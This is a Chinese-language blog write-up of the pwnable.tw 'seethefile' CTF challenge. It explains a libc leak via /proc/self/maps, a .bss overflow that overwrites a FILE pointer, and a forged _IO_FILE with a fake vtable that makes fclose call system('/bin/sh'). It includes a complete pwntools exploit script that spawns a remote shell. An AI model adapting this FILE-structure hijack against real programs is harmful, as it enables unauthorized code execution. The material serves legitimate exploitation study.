Loading... 首先是前置的小 trick:[关于/proc目录](https://www.cjovi.icu/pwnreview/1070.html) 题目提供了读取文件的功能,可以读除了 flag 之外的文件。自然可以想到通过 `/proc/self/maps` 来 leak 出 libc 的基地址。 然后在退出时 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/04/1527643670.png"></div> 注意到这里有一个 `"%s"` 可以溢出。一开始也没仔细看,以为 name 是栈上的变量,也没看到后面的 `exit(0)`,准备 rop,结果发现 name 在 .bss 段上,难以 rop,但是注意到 fp 变量在 name 后面,所以可以通过溢出覆写 fp。程序没有开启 PIE,所以我们写入的地址是已知的,我们布置好一个 fake_file,让 fp 指向它,在执行 fclose 的时候 getshell 了。 说来惭愧,但现在我对 _IO_FILE 的了解还是只浮于表面,所以这里我没法分析的太深。原理和伪造方式可以看[这位博主的总结](https://www.jianshu.com/p/a6354fa4dbdf)(文章也贴心地给出了各种情况下 fake_file 的模板)。以本题为例,就是 ``` #_flags & 0x2000不为0最终会调用fp->vtabl->__fclose(fp) fake_file = "/bin/sh\x00" fake_file = fake_file.ljust(0x48,'\x00') fake_file += p32(fake_lock_addr) # 指向一处值为0的地址 fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44 fake_file += p32(system) ``` ### exp ``` #!/usr/bin/env python # coding=utf-8 from pwn import * #sh = process("./seethefile") sh = remote("chall.pwnable.tw",10200) libc = ELF("./libc_32.so.6") sh.sendlineafter("choice :",str(1)) sh.sendlineafter("to see :",'/proc/self/maps') sh.sendlineafter("choice :",str(2)) sh.sendlineafter("choice :",str(3)) sh.sendlineafter("choice :",str(2)) sh.sendlineafter("choice :",str(3)) sh.recvuntil("0") sh.recvuntil('\n') libc_base = int(sh.recvuntil('-',drop = True),base = 16) log.success("libc_base:" + hex(libc_base)) system_addr = libc_base + libc.sym["system"] bin_sh_addr = libc_base + libc.search("/bin/sh").next() one_gadget = libc_base + 0x3a819 sh.sendlineafter("choice :",str(5)) payload = 'a' * 0x20 + p32(0x804B300) payload = payload.ljust(0x804B300 - 0x804B260,'\x00') buf_addr = 0x804B300 fake_vtable = 0x804B300 + 0x98 - 0x44 fake_lock_addr = 0x804B308 fake_file = "/bin/sh\x00" fake_file = fake_file.ljust(0x48,'\x00') fake_file += p32(fake_lock_addr) # 指向一处值为0的地址 fake_file = fake_file.ljust(0x94, "\x00") fake_file += p32(fake_vtable)#fake vtable address = buf_addr + 0x98 - 0x44 fake_file += p32(system_addr) payload += fake_file sh.sendlineafter("name :",payload) sh.interactive() ``` ### getshell 之后... 拿到 shell 后会发现无法直接 cat flag,但是提供了一个 get_flag 的程序及其源码,看一下源码 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/04/2085184232.png "></div> 所以运行程序输入 `Give me the flag` 就可以获得 flag 了。 最后修改:2021 年 04 月 06 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧